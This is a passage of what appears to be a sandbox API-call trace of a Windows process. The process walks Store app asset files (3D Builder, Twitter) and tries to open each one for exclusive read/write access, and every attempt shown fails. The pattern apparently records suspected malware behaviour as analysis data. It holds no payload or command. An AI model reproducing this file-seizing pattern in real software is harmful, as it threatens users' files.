Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\bulldozer.3mf") returned 1 [0238.659] GetProcessHeap () returned 0x630000 [0238.659] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5200) returned 0x6fe3bb0 [0238.659] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\Catalog\\bulldozer.3mf" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\catalog\\bulldozer.3mf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.660] Sleep (dwMilliseconds=0x1) [0238.673] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png", len=0x75 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png") returned 1 [0238.673] GetProcessHeap () returned 0x630000 [0238.673] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51f8) returned 0x6fe3bb0 [0238.674] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\CameraIcon_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\cameraicon_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.674] Sleep (dwMilliseconds=0x1) [0238.689] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\3mf.ico", len=0x5f | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\3mf.ico") returned 1 [0238.689] GetProcessHeap () returned 0x630000 [0238.689] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51f4) returned 0x6fe3bb0 [0238.689] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\3mf.ico" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\3mf.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.691] Sleep (dwMilliseconds=0x1) [0238.704] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxManifest.xml", len=0x61 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxManifest.xml") returned 1 [0238.705] GetProcessHeap () returned 0x630000 [0238.705] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51e8) returned 0x6fe3bb0 [0238.705] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxManifest.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxmanifest.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.705] Sleep (dwMilliseconds=0x1) [0238.719] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x61 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0238.719] GetProcessHeap () returned 0x630000 [0238.719] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51e4) returned 0x6fe3bb0 [0238.719] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.724] Sleep (dwMilliseconds=0x1) [0238.735] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml", len=0x66 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml") returned 1 [0238.735] GetProcessHeap () returned 0x630000 [0238.735] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51d8) returned 0x6fe3bb0 [0238.736] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\AppxBlockMap.xml" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_neutral_~_8wekyb3d8bbwe\\appxblockmap.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.736] Sleep (dwMilliseconds=0x1) [0238.750] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\VoiceCommands.xml", len=0x5a | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\VoiceCommands.xml") returned 1 [0238.750] GetProcessHeap () returned 0x630000 [0238.750] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51d4) returned 0x6fe3bb0 [0238.750] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\VoiceCommands.xml" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\voicecommands.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.752] Sleep (dwMilliseconds=0x1) [0238.766] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Background.winmd", len=0x61 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Background.winmd") returned 1 [0238.767] GetProcessHeap () returned 0x630000 [0238.767] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c8) returned 0x6fe3bb0 [0238.767] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Twitter.Background.winmd" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\twitter.background.winmd"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.767] Sleep (dwMilliseconds=0x1) [0238.782] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri", len=0x56 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri") returned 1 [0238.782] GetProcessHeap () returned 0x630000 [0238.782] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51c4) returned 0x6fe3bb0 [0238.782] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\resources.pri"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.782] Sleep (dwMilliseconds=0x1) [0238.799] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html", len=0x5d | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html") returned 1 [0238.799] GetProcessHeap () returned 0x630000 [0238.799] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b8) returned 0x6fe3bb0 [0238.800] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\Attributions.html" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\js\\attributions.html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.801] Sleep (dwMilliseconds=0x1) [0238.813] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80_contrast-white.png", len=0x74 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80_contrast-white.png") returned 1 [0238.813] GetProcessHeap () returned 0x630000 [0238.813] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51b4) returned 0x6fe3bb0 [0238.813] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-80_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-80_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.813] Sleep (dwMilliseconds=0x1) [0238.829] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180_contrast-white.png", len=0x75 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180_contrast-white.png") returned 1 [0238.829] GetProcessHeap () returned 0x630000 [0238.829] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a8) returned 0x6fe3bb0 [0238.829] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-180_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.829] Sleep (dwMilliseconds=0x1) [0238.845] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180_contrast-black.png", len=0x75 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180_contrast-black.png") returned 1 [0238.845] GetProcessHeap () returned 0x630000 [0238.845] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x51a4) returned 0x6fe3bb0 [0238.845] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-180_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-180_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.845] Sleep (dwMilliseconds=0x1) [0238.860] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140_contrast-black.png", len=0x75 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140_contrast-black.png") returned 1 [0238.860] GetProcessHeap () returned 0x630000 [0238.860] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5198) returned 0x6fe3bb0 [0238.860] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-140_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.860] Sleep (dwMilliseconds=0x1) [0238.875] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140.png", len=0x66 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140.png") returned 1 [0238.876] GetProcessHeap () returned 0x630000 [0238.876] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5194) returned 0x6fe3bb0 [0238.876] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-140.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-140.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.876] Sleep (dwMilliseconds=0x1) [0238.891] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100.png", len=0x66 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100.png") returned 1 [0238.891] GetProcessHeap () returned 0x630000 [0238.891] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5188) returned 0x6fe3bb0 [0238.892] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\WideLogo.scale-100.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\widelogo.scale-100.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.892] Sleep (dwMilliseconds=0x1) [0238.907] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400_contrast-white.png", len=0x7c | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400_contrast-white.png") returned 1 [0238.907] GetProcessHeap () returned 0x630000 [0238.907] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5184) returned 0x6fe3bb0 [0238.907] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-400_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-400_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.907] Sleep (dwMilliseconds=0x1) [0238.923] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200_contrast-white.png", len=0x7c | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200_contrast-white.png") returned 1 [0238.923] GetProcessHeap () returned 0x630000 [0238.923] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5178) returned 0x6fe3bb0 [0238.923] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-200_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.923] Sleep (dwMilliseconds=0x1) [0238.938] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200_contrast-black.png", len=0x7c | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200_contrast-black.png") returned 1 [0238.938] GetProcessHeap () returned 0x630000 [0238.938] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5174) returned 0x6fe3bb0 [0238.938] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.938] Sleep (dwMilliseconds=0x1) [0238.954] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150_contrast-black.png", len=0x7c | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150_contrast-black.png") returned 1 [0238.954] GetProcessHeap () returned 0x630000 [0238.954] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5168) returned 0x6fe3bb0 [0238.954] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-150_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.954] Sleep (dwMilliseconds=0x1) [0238.969] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150.png", len=0x6d | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150.png") returned 1 [0238.969] GetProcessHeap () returned 0x630000 [0238.969] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5164) returned 0x6fe3bb0 [0238.970] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-150.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-150.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.970] Sleep (dwMilliseconds=0x1) [0238.986] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125.png", len=0x6d | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125.png") returned 1 [0238.986] GetProcessHeap () returned 0x630000 [0238.987] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5158) returned 0x6fe3bb0 [0238.987] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\9E2F88E3.Twitter_5.7.1.0_x86__wgeqdkkx372wm\\Assets\\TwitterWideTile.scale-125.png" (normalized: "c:\\program files\\windowsapps\\9e2f88e3.twitter_5.7.1.0_x86__wgeqdkkx372wm\\assets\\twitterwidetile.scale-125.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0238.987] Sleep (dwMilliseconds=0x1) [0241.000] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\walnut.jpg", len=0x71 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\walnut.jpg") returned 1 [0241.000] GetProcessHeap () returned 0x630000 [0241.001] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x5400) returned 0x6fe3bb0 [0241.001] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\walnut.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\walnut.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.003] Sleep (dwMilliseconds=0x1) [0241.019] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\sand.jpg", len=0x6f | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\sand.jpg") returned 1 [0241.019] GetProcessHeap () returned 0x630000 [0241.019] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53f8) returned 0x6fe3bb0 [0241.019] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\sand.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\sand.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.021] Sleep (dwMilliseconds=0x1) [0241.032] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\rcypaper.jpg", len=0x73 | out: pbstr=0x483ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\rcypaper.jpg") returned 1 [0241.032] GetProcessHeap () returned 0x630000 [0241.032] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x53f4) returned 0x6fe3bb0 [0241.032] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.3DBuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\Assets\\TextureBitmaps\\rcypaper.jpg" (normalized: "c:\\program files\\windowsapps\\microsoft.3dbuilder_13.0.10349.0_x64__8wekyb3d8bbwe\\assets\\texturebitmaps\\rcypaper.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0241.033] Sleep (dwMilliseconds=0x1) [0241.047] SysReAllocStringLen (in: pbstr=0x483ff7c*=0x0, psz="C:\\Program 